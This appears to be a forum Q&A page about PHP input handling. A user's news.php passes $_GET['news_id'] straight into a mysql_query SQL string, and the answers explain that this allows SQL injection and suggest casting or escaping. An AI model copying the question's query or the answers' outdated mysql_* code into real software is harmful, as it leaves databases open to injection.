Another common mistake is allowing flooding. You should put some sane limits on your data. Don't allow users to input nonsensical data. Why is a user's name 2MB in length? Things like that make it so easy for someone flood your database or filesystem and crash the system due to out of space errors.

PHP include numeric

If I build my pages like this do I have to check if news_id is numeric in news.php too? Or is this safe?
index.php:
if (ctype_digit($_GET['news_id'])) include('news.php');
news.php:
$query = mysql_query("SELECT * FROM news WHERE news_id = $_GET[news_id]");
$row = mysql_fetch_assoc($query);
if (!mysql_num_rows($query)) exit('The news you're trying to read do not exist.');
The other answers are absolutely correct, you should never allow any user input directly into your database, or any other sensitive area.
You should validate/sanitize all input from $_GET, $_POST etc... You can use PHP’s built in filter functions or use those built into a framework such as Cake PHP or Symphony, which both make handling user data a lot easier.
jonstjohn has a good point you are leaving yourself open sql injection this way, and other forms of attack based around feeding malicious code into you application.
Worth reading Jeff Atwood’s 25 most dangerous programming mistakes for a bit of background on these issues, and others besides.
Short answer: Yes, you should.
Someone might (and will) request news.php, bypassing index.php.
You really should escape your data and sanitize it before sending it into MySQL. No guarantee someone won't try to send something malicious in through the post data.
$news_id = (int)$_GET[news_id];
$query = mysql_query("SELECT * FROM news WHERE news_id = " .
mysql_real_escape_string($news_id));
$row = mysql_fetch_assoc($query);
if (!mysql_num_rows($query)) exit('The news you're trying to read do not exist.');
It's not safe;
Don't check, convert it to integer using intval();
Never, ever put GPC variables in SQL without escaping or casting;

Categories